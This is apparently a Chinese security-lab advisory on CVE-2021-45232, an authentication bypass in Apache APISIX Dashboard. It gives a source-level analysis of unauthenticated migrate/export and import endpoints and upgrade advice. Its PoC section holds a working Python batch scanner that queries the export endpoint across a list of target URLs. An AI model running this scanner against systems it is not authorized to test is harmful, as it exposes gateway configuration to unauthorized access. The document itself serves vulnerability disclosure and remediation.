目录
Part1 漏洞描述
Apache APISIX 是一个动态、实时、高性能的 API 网关,Apache APISIX Dashboard 使用户可通过前端界面操作 Apache APISIX。
在2.10.1之前的Apache APISIX Dashboard中,Manager API使用了两个框架gin
和droplet
,并在gin
框架的基础上引入了droplet
框架。所有的API和鉴权中间件都是基于droplet框架开发的,但是有些API直接使用了 框架gin
的接口从而绕过身份验证。漏洞编号为CVE-2021-45232.
Part2 风险等级
高风险
Part3 漏洞影响
-
Apache APISIX Dashboard < 2.10.1
Part4 漏洞分析
4.1 漏洞源码
本文以2.8版本为例
-
下载链接:
https://github.com/apache/apisix-dashboard/tree/release/2.8
首先在apisix-dashboard-release-2.8/api/internal/filter/authentication.go
中定义了用户通过URL访问以/apisix
开头的接口时,使用HTTP Header中的Authorization
进行权限认证。还定义了两个例外/apisix/admin/tool/version
和/apisix/admin/user/login
不需要进行权限认证认证。
然后在apisix-dashboard-release-2.8/api/internal/route.go
中注册了一些handler
在正常情况下利用droplet
对URL进行鉴权处理,与authentication.go
中的handle
对应,比如ssl
:
在apisix-dashboard-release-2.8/api/internal/handler/migrate/migrate.go
中发现有两个接口/apisix/admin/migrate/export
和/apisix/admin/migrate/import
没有经过droplet
进行处理,存在认证绕过。
4.2 漏洞验证
4.3 POC
import requests
import sys
filename = sys.argv[1]
print(filename)
target = open(filename, 'r')
f = open('result.txt', 'w')
target_list = target.readlines()
for url in target_list:
url = url.strip()
payload = url + '/apisix/admin/migrate/export'
try:
rsp = requests.get(url=payload, verify=False, timeout=2)
except:
print('%s验证失败!'%url)
continue
else:
rsp_s = rsp.text
if "Counsumers" in rsp_s:
print("%s存在漏洞!" % url)
f.writelines(url + '存在漏洞!\n')
else:
print("%s不存在漏洞!" % url)
f.close()
target.close()
Part5 修复建议
官方已发布漏洞补丁及修复版本,请评估业务是否受影响后,酌情升级至安全版本,并同时注意修改默认账户的账号密码;或可使用安全组等措施。
“D&X 安全实验室”
专注渗透测试技术
全球最新网络攻击技术